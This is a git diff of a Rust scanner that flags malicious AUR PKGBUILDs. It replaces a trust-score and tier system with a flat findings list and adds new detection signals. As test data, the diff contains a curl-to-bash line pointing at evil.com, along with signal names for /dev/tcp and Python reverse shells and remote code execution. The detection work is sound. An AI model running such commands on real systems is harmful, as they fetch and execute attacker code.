0e137ea..2a4b539 100644 --- a/src/shared/scoring.rs +++ b/src/shared/scoring.rs @@ -1,18 +1,30 @@ use serde::Serialize; -/// A signal emitted by a feature during analysis. +/// A signal (finding) emitted by a feature during analysis. +/// +/// traur no longer computes a trust score or tier — it reports the raw findings. +/// `points` and `is_override_gate` are retained as internal metadata that some +/// features still populate, but they no longer affect output and are not +/// serialized. #[derive(Debug, Clone, Serialize)] pub struct Signal { pub id: String, pub category: SignalCategory, + // Retained as inert metadata (features still populate these); no longer + // used for ranking and not serialized. + #[serde(skip)] + #[allow(dead_code)] pub points: u32, pub description: String, + #[serde(skip)] + #[allow(dead_code)] pub is_override_gate: bool, #[serde(skip_serializing_if = "Option::is_none")] pub matched_line: Option, } -/// The four weighted signal categories. +/// Coarse grouping tag for a signal. Used for display grouping and for the +/// `traur ignore --category` filter. Carries no weight. #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)] pub enum SignalCategory { Metadata, @@ -21,204 +33,9 @@ pub enum SignalCategory { Temporal, } -/// Trust tier derived from the final score. -#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Serialize)] -pub enum Tier { - Trusted, - Ok, - Sketchy, - Suspicious, - Malicious, -} - -/// Complete result of scanning a package. +/// Complete result of scanning a package: just the flat list of findings. #[derive(Debug, Serialize)] pub struct ScanResult { pub package: String, - pub score: u32, - pub tier: Tier, pub signals: Vec, - pub override_gate_fired: Option, -} - -/// Category weights for the composite score. -const WEIGHT_METADATA: f64 = 0.15; -const WEIGHT_PKGBUILD: f64 = 0.45; -const WEIGHT_BEHAVIORAL: f64 = 0.25; -const WEIGHT_TEMPORAL: f64 = 0.15; - -/// Compute the final score and tier from a list of signals. -pub fn compute_score(package_name: &str, signals: &[Signal]) -> ScanResult { - let weighted_score = compute_weighted(signals); - - // Find the highest-scoring override gate - let best_override = signals - .iter() - .filter(|s| s.is_override_gate) - .max_by_key(|s| s.points); - - if let Some(signal) = best_override { - // Use the higher of the override gate score and the weighted score - let risk = signal.points.max(weighted_score).min(100); - return ScanResult { - package: package_name.to_string(), - score: 100 - risk, - tier: Tier::Malicious, - signals: signals.to_vec(), - override_gate_fired: Some(signal.id.clone()), - }; - } - - let trust = 100 - weighted_score; - let tier = score_to_tier(trust); - - ScanResult { - package: package_name.to_string(), - score: trust, - tier, - signals: signals.to_vec(), - override_gate_fired: None, - } -} - -/// Compute the weighted composite score from signals (without override gate logic). -fn compute_weighted(signals: &[Signal]) -> u32 { - let mut meta_total: u32 = 0; - let mut pkgbuild_total: u32 = 0; - let mut behavioral_total: u32 = 0; - let mut temporal_total: u32 = 0; - - for signal in signals { - match signal.category { - SignalCategory::Metadata => meta_total += signal.points, - SignalCategory::Pkgbuild => pkgbuild_total += signal.points, - SignalCategory::Behavioral => behavioral_total += signal.points, - SignalCategory::Temporal => temporal_total += signal.points, - } - } - - meta_total = meta_total.min(100); - pkgbuild_total = pkgbuild_total.min(100); - behavioral_total = behavioral_total.min(100); - temporal_total = temporal_total.min(100); - - let weighted = (WEIGHT_METADATA * meta_total as f64) - + (WEIGHT_PKGBUILD * pkgbuild_total as f64) - + (WEIGHT_BEHAVIORAL * behavioral_total as f64) - + (WEIGHT_TEMPORAL * temporal_total as f64); - - (weighted.round() as u32).min(100) -} - -fn score_to_tier(trust: u32) -> Tier { - match trust { - 0..=20 => Tier::Malicious, - 21..=40 => Tier::Suspicious, - 41..=60 => Tier::Sketchy, - 61..=80 => Tier::Ok, - _ => Tier::Trusted, - } -} - -impl std::fmt::Display for Tier { - fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { - match self { - Tier::Trusted => write!(f, "TRUSTED"), - Tier::Ok => write!(f, "OK"), - Tier::Sketchy => write!(f, "SKETCHY"), - Tier::Suspicious => write!(f, "SUSPICIOUS"), - Tier::Malicious => write!(f, "MALICIOUS"), - } - } -} - -#[cfg(test)] -mod tests { - use super::*; - - fn signal(id: &str, category: SignalCategory, points: u32, override_gate: bool) -> Signal { - Signal { - id: id.to_string(), - category, - points, - description: String::new(), - is_override_gate: override_gate, - matched_line: None, - } - } - - #[test] - fn no_signals_scores_full_trust() { - let result = compute_score("pkg", &[]); - assert_eq!(result.score, 100); - assert_eq!(result.tier, Tier::Trusted); - assert!(result.override_gate_fired.is_none()); - } - - #[test] - fn override_gate_picks_highest() { - let signals = vec![ - signal("P-CURL-PIPE", SignalCategory::Pkgbuild, 90, true), - signal("P-REVSHELL-DEVTCP", SignalCategory::Pkgbuild, 95, true), - ]; - let result = compute_score("pkg", &signals); - assert_eq!(result.tier, Tier::Malicious); - assert_eq!(result.override_gate_fired.as_deref(), Some("P-REVSHELL-DEVTCP")); - assert!(result.score <= 5, "Trust {} should be <= 5", result.score); - } - - #[test] - fn override_gate_uses_weighted_when_higher() { - // Override gate (85) + lots of other signals that push weighted above 85 - let signals = vec![ - signal("P-REVSHELL-PYTHON", SignalCategory::Pkgbuild, 85, true), - signal("P-EVAL-BASE64", SignalCategory::Pkgbuild, 85, false), - signal("B-NAME-IMPERSONATE", SignalCategory::Behavioral, 65, false), - signal("M-VOTES-ZERO", SignalCategory::Metadata, 30, false), - signal("T-MALICIOUS-DIFF", SignalCategory::Temporal, 55, false), - ]; - let result = compute_score("pkg", &signals); - assert_eq!(result.tier, Tier::Malicious); - // Weighted risk: 0.45*100 + 0.25*65 + 0.15*30 + 0.15*55 = 74 - // Override gate risk: 85. Max(85, 74) = 85. Trust = 100 - 85 = 15 - assert!(result.score <= 15, "Trust {} should be <= 15", result.score); - } - - #[test] - fn category_caps_at_100() { - let signals = vec![ - signal("P-A", SignalCategory::Pkgbuild, 80, false), - signal("P-B", SignalCategory::Pkgbuild, 80, false), - ]; - let result = compute_score("pkg", &signals); - // Pkgbuild: min(160, 100) = 100 -> 0.45 * 100 = 45 risk -> 55 trust - assert_eq!(result.score, 55); - assert_eq!(result.tier, Tier::Sketchy); - } - - #[test] - fn tier_boundaries() { - assert_eq!(score_to_tier(0), Tier::Malicious); - assert_eq!(score_to_tier(20), Tier::Malicious); - assert_eq!(score_to_tier(21), Tier::Suspicious); - assert_eq!(score_to_tier(40), Tier::Suspicious); - assert_eq!(score_to_tier(41), Tier::Sketchy); - assert_eq!(score_to_tier(60), Tier::Sketchy); - assert_eq!(score_to_tier(61), Tier::Ok); - assert_eq!(score_to_tier(80), Tier::Ok); - assert_eq!(score_to_tier(81), Tier::Trusted); - assert_eq!(score_to_tier(100), Tier::Trusted); - } - - #[test] - fn min_trust_is_zero() { - let signals = vec![ - signal("P", SignalCategory::Pkgbuild, 200, false), - signal("M", SignalCategory::Metadata, 200, false), - signal("B", SignalCategory::Behavioral, 200, false), - signal("T", SignalCategory::Temporal, 200, false), - ]; - let result = compute_score("pkg", &signals); - assert_eq!(result.score, 0); - } } diff --git a/src/shared/signal_registry.rs b/src/shared/signal_registry.rs index 886c172..c795b84 100644 --- a/src/shared/signal_registry.rs +++ b/src/shared/signal_registry.rs @@ -68,6 +68,7 @@ fn hardcoded_signals() -> Vec { // orphan_takeover_analysis ("B-SUBMITTER-CHANGED", Behavioral, 15, "Package maintainer differs from original submitter", false), ("B-ORPHAN-TAKEOVER", Behavioral, 50, "Adopted package with new git author (orphan takeover pattern)", false), + ("B-ORPHAN-NET-INSTALL", Behavioral, 90, "Adopted/taken-over package fetches a named package over the network at build time", true), // bin_source_verification ("B-BIN-GITHUB-ORG-MISMATCH", Behavioral, 50, "-bin package source downloads from different GitHub org than upstream", false), ("B-BIN-DOMAIN-MISMATCH", Behavioral, 30, "-bin package source downloads from different domain than upstream", false), @@ -76,6 +77,8 @@ fn hardcoded_signals() -> Vec { ("T-NEW-PACKAGE", Temporal, 25, "Package is very new (< 7 days old)", false), ("T-MALICIOUS-DIFF", Temporal, 55, "Latest commit introduces network code not present in prior history", false), ("T-AUTHOR-CHANGE", Temporal, 25, "Git history shows multiple different authors", false), + // malicious_list (online-only known-compromised check) + ("B-KNOWN-MALICIOUS", Behavioral, 100, "Package appears on Arch's known-compromised package list", true), // aur_comments_analysis ("M-COMMENTS-SECURITY", Metadata, 40, "Recent AUR comments contain security-related warnings", false), // github_stars diff --git a/src/shared/text.rs b/src/shared/text.rs new file mode 100644 index 0000000..80bf274 --- /dev/null +++ b/src/shared/text.rs @@ -0,0 +1,34 @@ +//! Small text helpers shared across features. + +/// Blank out full-line shell comments so patterns don't match commented-out +/// code (e.g. `# modprobe configs` should not trip a kernel-module signal). +/// +/// Only whole-line comments (first non-whitespace char is `#`) are removed; +/// lines are blanked rather than deleted so line positions — and therefore the +/// reported matched line — stay intact. Inline `#` is left alone, since `#` is +/// valid mid-line shell syntax (`${v#x}`, `${#a[@]}`). +pub fn strip_comment_lines(content: &str) -> String { + content + .lines() + .map(|line| if line.trim_start().starts_with('#') { "" } else { line }) + .collect::>() + .join("\n") +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn blanks_comment_lines_keeps_code() { + let input = "code1\n # a comment\ncode2\n"; + let out = strip_comment_lines(input); + assert_eq!(out, "code1\n\ncode2"); + } + + #[test] + fn leaves_inline_hash_alone() { + let input = "x=${v#prefix}\n"; + assert_eq!(strip_comment_lines(input), "x=${v#prefix}"); + } +} diff --git a/tests/feature_tests.rs b/tests/feature_tests.rs index 6bdd8a0..fde8e35 100644 --- a/tests/feature_tests.rs +++ b/tests/feature_tests.rs @@ -1,25 +1,19 @@ //! Integration tests that verify the full scan pipeline: -//! coordinator -> all features -> scoring -> tier assignment. +//! coordinator -> all features -> flat findings list. //! //! Individual pattern/signal tests live in each feature's #[cfg(test)] module. use traur::coordinator::scan_pkgbuild; -use traur::shared::scoring::Tier; fn signal_ids(result: &traur::shared::scoring::ScanResult) -> Vec<&str> { result.signals.iter().map(|s| s.id.as_str()).collect() } #[test] -fn malicious_curl_pipe_triggers_override_gate() { +fn malicious_curl_pipe_detected() { let pkgbuild = include_str!("fixtures/malicious/curl_pipe_bash.PKGBUILD"); let result = scan_pkgbuild("firefox-fix-bin", pkgbuild); - - assert_eq!(result.tier, Tier::Malicious, "curl|bash should trigger MALICIOUS tier"); - assert!( - result.override_gate_fired.is_some(), - "Override gate should fire for curl|bash" - ); + assert!(signal_ids(&result).contains(&"P-CURL-PIPE"), "got: {:?}", signal_ids(&result)); } #[test] @@ -39,29 +33,22 @@ fn malicious_pkgbuild_accumulates_cross_feature_signals() { } #[test] -fn benign_pkgbuild_scores_low() { +fn benign_pkgbuild_has_no_severe_findings() { let pkgbuild = include_str!("fixtures/benign/yay.PKGBUILD"); let result = scan_pkgbuild("yay", pkgbuild); - - assert!( - result.tier <= Tier::Ok, - "Benign PKGBUILD should score TRUSTED or OK, got {:?} (trust: {})", - result.tier, - result.score - ); - assert!( - result.override_gate_fired.is_none(), - "No override gate should fire for benign package" - ); + let ids = signal_ids(&result); + assert!(!ids.contains(&"P-CURL-PIPE"), "benign package should not match curl|bash, got: {ids:?}"); } #[test] -fn python_rce_triggers_override_gate() { +fn python_rce_detected() { let pkgbuild = include_str!("fixtures/malicious/python_rce.PKGBUILD"); let result = scan_pkgbuild("python-helper", pkgbuild); - - assert_eq!(result.tier, Tier::Malicious, "Python exec(urlopen()) should trigger MALICIOUS"); - assert!(result.override_gate_fired.is_some()); + assert!( + signal_ids(&result).contains(&"P-PYTHON-EXEC-URL"), + "got: {:?}", + signal_ids(&result) + ); } #[test] @@ -69,8 +56,6 @@ fn acroread_style_multi_signal_detection() { let pkgbuild = include_str!("fixtures/malicious/acroread_style.PKGBUILD"); let result = scan_pkgbuild("acroread", pkgbuild); - assert_eq!(result.tier, Tier::Malicious); - let ids = signal_ids(&result); // Verifies signals from multiple features fire together assert!(ids.contains(&"P-CURL-PIPE"), "got: {ids:?}"); @@ -80,22 +65,10 @@ fn acroread_style_multi_signal_detection() { } #[test] -fn gtfobins_multi_signal_triggers_malicious() { +fn gtfobins_multi_signal_detection() { let pkgbuild = include_str!("fixtures/malicious/gtfobins_multi.PKGBUILD"); let result = scan_pkgbuild("evil-tool", pkgbuild); - assert_eq!( - result.tier, - Tier::Malicious, - "GTFOBins multi-vector attack should be MALICIOUS, got {:?} (score: {})", - result.tier, - result.score - ); - assert!( - result.override_gate_fired.is_some(), - "Override gate should fire for GTFOBins attack patterns" - ); - let ids = signal_ids(&result); // gtfobins_analysis signals assert!(ids.contains(&"G-TAR-CHECKPOINT"), "got: {ids:?}"); diff --git a/tests/output_tests.rs b/tests/output_tests.rs index 4c1bde1..5372690 100644 --- a/tests/output_tests.rs +++ b/tests/output_tests.rs @@ -1,30 +1,26 @@ //! E2E tests for scan output formatting. //! -//! Verifies the exact text output produced by `write_text` for every tier, -//! ensuring signal details are always shown regardless of tier. +//! Verifies the exact text output produced by `write_text`: a flat findings +//! list with no score or tier. use traur::shared::output; -use traur::shared::scoring::{ScanResult, Signal, SignalCategory, Tier}; +use traur::shared::scoring::{ScanResult, Signal, SignalCategory}; -fn make_signal(id: &str, category: SignalCategory, points: u32, description: &str, override_gate: bool) -> Signal { +fn sig(id: &str, description: &str) -> Signal { Signal { id: id.to_string(), - category, - points, + category: SignalCategory::Pkgbuild, + points: 0, description: description.to_string(), - is_override_gate: override_gate, + is_override_gate: false, matched_line: None, } } -fn make_signal_with_line(id: &str, category: SignalCategory, points: u32, description: &str, override_gate: bool, line: &str) -> Signal { +fn sig_with_line(id: &str, description: &str, line: &str) -> Signal { Signal { - id: id.to_string(), - category, - points, - description: description.to_string(), - is_override_gate: override_gate, matched_line: Some(line.to_string()), + ..sig(id, description) } } @@ -35,276 +31,83 @@ fn render(result: &ScanResult, verbose: bool) -> String { String::from_utf8(buf).unwrap() } -// ---------- TRUSTED ---------- - #[test] -fn trusted_no_signals() { - let result = ScanResult { - package: "yay".to_string(), - score: 100, - tier: Tier::Trusted, - signals: vec![], - override_gate_fired: None, - }; +fn no_findings() { + let result = ScanResult { package: "yay".to_string(), signals: vec![] }; let out = render(&result, false); assert_eq!(out, "\ -traur: yay (trust: 100/100) - Trust: TRUSTED - No negative signals found. +traur: yay + No findings. "); } #[test] -fn trusted_with_signals() { +fn findings_listed() { let result = ScanResult { package: "eww".to_string(), - score: 92, - tier: Tier::Trusted, - signals: vec![ - make_signal("M-NEW-PACKAGE", SignalCategory::Metadata, 10, "Package is less than 6 months old", false), - make_signal("M-VOTES-LOW", SignalCategory::Metadata, 5, "Low vote count", false), - ], - override_gate_fired: None, - }; - let out = render(&result, false); - assert_eq!(out, "\ -traur: eww (trust: 92/100) - Trust: TRUSTED - Negative signals: - M-NEW-PACKAGE: Package is less than 6 months old - M-VOTES-LOW: Low vote count -"); -} - -// ---------- OK ---------- - -#[test] -fn ok_with_signals() { - let result = ScanResult { - package: "some-tool".to_string(), - score: 70, - tier: Tier::Ok, - signals: vec![ - make_signal("M-NEW-PACKAGE", SignalCategory::Metadata, 15, "Package is less than 6 months old", false), - make_signal("P-WGET-DOWNLOAD", SignalCategory::Pkgbuild, 35, "Downloads file with wget", false), - ], - override_gate_fired: None, - }; - let out = render(&result, false); - assert_eq!(out, "\ -traur: some-tool (trust: 70/100) - Trust: OK - Negative signals: - M-NEW-PACKAGE: Package is less than 6 months old - ! P-WGET-DOWNLOAD: Downloads file with wget -"); -} - -// ---------- SKETCHY ---------- - -#[test] -fn sketchy_with_signals() { - let result = ScanResult { - package: "sketchy-pkg".to_string(), - score: 50, - tier: Tier::Sketchy, - signals: vec![ - make_signal("P-EVAL-BASE64", SignalCategory::Pkgbuild, 60, "Base64-encoded eval block", false), - make_signal("M-VOTES-ZERO", SignalCategory::Metadata, 20, "Zero votes", false), - ], - override_gate_fired: None, - }; - let out = render(&result, false); - assert_eq!(out, "\ -traur: sketchy-pkg (trust: 50/100) - Trust: SKETCHY - Negative signals: - !! P-EVAL-BASE64: Base64-encoded eval block - M-VOTES-ZERO: Zero votes -"); -} - -// ---------- SUSPICIOUS ---------- - -#[test] -fn suspicious_with_signals() { - let result = ScanResult { - package: "shady-bin".to_string(), - score: 30, - tier: Tier::Suspicious, - signals: vec![ - make_signal("P-SYSTEMD-CREATE", SignalCategory::Pkgbuild, 45, "Creates systemd service", false), - make_signal("P-SYSINFO-RECON", SignalCategory::Pkgbuild, 40, "System reconnaissance commands", false), - make_signal("B-NAME-IMPERSONATE", SignalCategory::Behavioral, 65, "Name impersonates popular package", false), - ], - override_gate_fired: None, - }; - let out = render(&result, false); - assert_eq!(out, "\ -traur: shady-bin (trust: 30/100) - Trust: SUSPICIOUS - Negative signals: - ! P-SYSTEMD-CREATE: Creates systemd service - ! P-SYSINFO-RECON: System reconnaissance commands - !! B-NAME-IMPERSONATE: Name impersonates popular package -"); -} - -// ---------- MALICIOUS ---------- - -#[test] -fn malicious_with_override_gate() { - let result = ScanResult { - package: "evil-tool".to_string(), - score: 5, - tier: Tier::Malicious, signals: vec![ - make_signal("P-CURL-PIPE", SignalCategory::Pkgbuild, 90, "curl piped to bash", true), - make_signal("P-RAW-IP-URL", SignalCategory::Pkgbuild, 30, "Source URL uses raw IP address", false), + sig("M-NEW-PACKAGE", "Package is less than 6 months old"), + sig("P-CURL-PIPE", "curl piped to bash"), ], - override_gate_fired: Some("P-CURL-PIPE".to_string()), }; let out = render(&result, false); - assert_eq!(out, "\ -traur: evil-tool (trust: 5/100) - Trust: MALICIOUS - !! Override gate fired: P-CURL-PIPE - Negative signals: - !! P-CURL-PIPE: curl piped to bash - ! P-RAW-IP-URL: Source URL uses raw IP address -"); + assert!(out.contains("traur: eww"), "{out}"); + // Category header shown once (grouped), descriptions + IDs under it + assert!(out.contains("Pkgbuild"), "category header missing: {out}"); + assert!(out.contains("Package is less than 6 months old (M-NEW-PACKAGE)"), "{out}"); + assert!(out.contains("curl piped to bash (P-CURL-PIPE)"), "{out}"); } -#[test] -fn malicious_no_signals_only_gate() { - let result = ScanResult { - package: "backdoor".to_string(), - score: 10, - tier: Tier::Malicious, - signals: vec![ - make_signal("P-REVSHELL-DEVTCP", SignalCategory::Pkgbuild, 90, "Reverse shell via /dev/tcp", true), - ], - override_gate_fired: Some("P-REVSHELL-DEVTCP".to_string()), - }; - let out = render(&result, false); - assert_eq!(out, "\ -traur: backdoor (trust: 10/100) - Trust: MALICIOUS - !! Override gate fired: P-REVSHELL-DEVTCP - Negative signals: - !! P-REVSHELL-DEVTCP: Reverse shell via /dev/tcp -"); -} - -// ---------- Verbose mode ---------- - #[test] fn verbose_shows_matched_lines() { let result = ScanResult { package: "test-pkg".to_string(), - score: 45, - tier: Tier::Sketchy, signals: vec![ - make_signal_with_line( - "P-CURL-PIPE", SignalCategory::Pkgbuild, 90, "curl piped to bash", true, - "curl -sL http://evil.com/payload | bash", - ), - make_signal("M-VOTES-ZERO", SignalCategory::Metadata, 20, "Zero votes", false), + sig_with_line("P-CURL-PIPE", "curl piped to bash", "curl -sL http://evil.com/p | bash"), + sig("M-VOTES-ZERO", "Zero votes"), ], - override_gate_fired: Some("P-CURL-PIPE".to_string()), }; let out = render(&result, true); - assert_eq!(out, "\ -traur: test-pkg (trust: 45/100) - Trust: SKETCHY - !! Override gate fired: P-CURL-PIPE - Negative signals: - !! P-CURL-PIPE: curl piped to bash - > curl -sL http://evil.com/payload | bash - M-VOTES-ZERO: Zero votes -"); + assert!(out.contains("curl piped to bash (P-CURL-PIPE)"), "{out}"); + assert!(out.contains("curl -sL http://evil.com/p | bash"), "matched line missing: {out}"); } #[test] fn verbose_without_matched_line_shows_nothing_extra() { let result = ScanResult { package: "test-pkg".to_string(), - score: 85, - tier: Tier::Trusted, - signals: vec![ - make_signal("M-NEW-PACKAGE", SignalCategory::Metadata, 10, "Package is less than 6 months old", false), - ], - override_gate_fired: None, + signals: vec![sig("M-NEW-PACKAGE", "Package is less than 6 months old")], }; - let verbose_out = render(&result, true); - let normal_out = render(&result, false); - // No matched_line means verbose and non-verbose are identical - assert_eq!(verbose_out, normal_out); -} - -// ---------- Signal prefix severity levels ---------- - -#[test] -fn signal_prefix_levels() { - let result = ScanResult { - package: "prefix-test".to_string(), - score: 20, - tier: Tier::Malicious, - signals: vec![ - // override gate -> "!!" prefix - make_signal("GATE", SignalCategory::Pkgbuild, 90, "gate signal", true), - // points >= 60 -> "!!" prefix - make_signal("HIGH", SignalCategory::Pkgbuild, 60, "high severity", false), - // points >= 30 -> " !" prefix - make_signal("MED", SignalCategory::Behavioral, 30, "medium severity", false), - // points < 30 -> " " prefix - make_signal("LOW", SignalCategory::Metadata, 10, "low severity", false), - ], - override_gate_fired: Some("GATE".to_string()), - }; - let out = render(&result, false); - // Verify each prefix level - assert!(out.contains(" !! GATE: gate signal"), "override gate should have !! prefix"); - assert!(out.contains(" !! HIGH: high severity"), "high severity should have !! prefix"); - assert!(out.contains(" ! MED: medium severity"), "medium severity should have ! prefix"); - assert!(out.contains(" LOW: low severity"), "low severity should have prefix"); + assert_eq!(render(&result, true), render(&result, false)); } // ---------- Full pipeline e2e (scan_pkgbuild -> write_text) ---------- #[test] -fn full_pipeline_trusted_shows_signals() { +fn full_pipeline_benign_lists_any_findings() { let pkgbuild = include_str!("fixtures/benign/yay.PKGBUILD"); let result = traur::coordinator::scan_pkgbuild("yay", pkgbuild); let out = render(&result, false); - // Must show package header - assert!(out.contains("traur: yay (trust:"), "should show package header"); - assert!(out.contains("Trust: TRUSTED"), "should show TRUSTED tier"); + assert!(out.contains("traur: yay"), "should show package header"); - // If there are signals, they must be listed (not just a count) - if !result.signals.is_empty() { - assert!(out.contains("Negative signals:"), "signals must be listed, not just counted"); + if result.signals.is_empty() { + assert!(out.contains("No findings.")); + } else { for signal in &result.signals { assert!(out.contains(&signal.id), "signal {} must appear in output", signal.id); assert!(out.contains(&signal.description), "signal description must appear"); } - } else { - assert!(out.contains("No negative signals found.")); } } #[test] -fn full_pipeline_malicious_shows_all_signals() { +fn full_pipeline_malicious_lists_all_findings() { let pkgbuild = include_str!("fixtures/malicious/curl_pipe_bash.PKGBUILD"); let result = traur::coordinator::scan_pkgbuild("firefox-fix-bin", pkgbuild); let out = render(&result, false); - assert!(out.contains("Trust: MALICIOUS"), "should show MALICIOUS tier"); - assert!(out.contains("Override gate fired:"), "should show override gate"); - assert!(out.contains("Negative signals:"), "signals must be listed"); - - // Every signal must appear in output + assert!(out.contains("P-CURL-PIPE"), "curl|bash finding must appear"); for signal in &result.signals { assert!(out.contains(&signal.id), "signal {} must appear in output", signal.id); }